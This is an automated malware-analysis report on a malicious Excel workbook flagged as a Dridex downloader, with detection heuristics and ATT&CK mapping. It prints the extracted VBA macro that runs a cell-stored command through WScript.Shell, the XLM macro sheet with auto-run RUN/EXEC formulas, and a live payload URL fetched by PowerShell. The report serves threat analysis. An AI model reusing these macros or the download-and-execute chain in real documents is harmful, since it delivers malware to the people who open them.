Office (OOXML) malware analysis — malicious · 06b7caebc5254f65

MALICIOUS

Office (OOXML)

415.4 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-13

MD5: 4bfa75f47c48a8de44623b345be1038a SHA-1: d427b21a9306a8eb97868c7a96e9c890ce459145 SHA-256: 06b7caebc5254f65a6930a869505169044206bda5715fbc1844d497d99c21601

410 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains both VBA macros and Excel 4.0 macros, indicating a multi-stage approach. The Excel 4.0 macros utilize RUN and EXEC functions to execute a command that downloads a batch file from 'http://147.135.165.25/ser.bat' using PowerShell and then executes it. The VBA script also uses WScript.Shell to run a command, further reinforcing the download and execution behavior. This strongly suggests the file acts as a downloader for a secondary payload.

Heuristics 10

ClamAV: Xls.Downloader.DridexGreen09213-9890103-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.DridexGreen09213-9890103-0
Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, EXEC critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
VBA project inside OOXML medium 2 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set objShell = CreateObject("Wscript.Shell")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set objShell = CreateObject("Wscript.Shell")
```
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://147.135.165.25/ser.bat Referenced by macro
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	895 bytes
SHA-256: `ff85acc8568622931f3442cd0f5486e2cf5cdf6265dcc36935b11388d3fde4da`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Public Function asd() Set objShell = CreateObject("Wscript.Shell") objShell.Run Worksheets("Feuil1").Range("A303") End Function Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Public Function asd() MsgBox ("asd") End Function Attribute VB_Name = "Module2" Attribute VB_Name = "Module3"
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	19968 bytes
SHA-256: `6802bfcc2ff389a15e56a9880563b5180361611f342ff40c5547f12e64645ba4`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml	1395 bytes
SHA-256: `c682b0e9e676a6c2f1cc95a25b4ac42bfe8b2507a24bd151678579a33c0b8606`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="E583:K624"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="12.75" x14ac:dyDescent="0.2"/><cols><col min="1" max="4" width="11.42578125" customWidth="1"/><col min="5" max="5" width="8.85546875" hidden="1" customWidth="1"/><col min="6" max="256" width="11.42578125" customWidth="1"/></cols><sheetData><row r="583" spans="11:11" x14ac:dyDescent="0.2"><c r="K583" s="3"><f>RUN(asd)</f><v>0</v></c></row><row r="596" spans="11:11" x14ac:dyDescent="0.2"><c r="K596" s="3" t="e"><f>EXEC(asd)</f><v>#NAME?</v></c></row><row r="600" spans="11:11" ht="15" x14ac:dyDescent="0.2"><c r="K600" s="2"/></row><row r="624" spans="11:11" x14ac:dyDescent="0.2"><c r="K624" s="1" t="b"><f>PAUSE()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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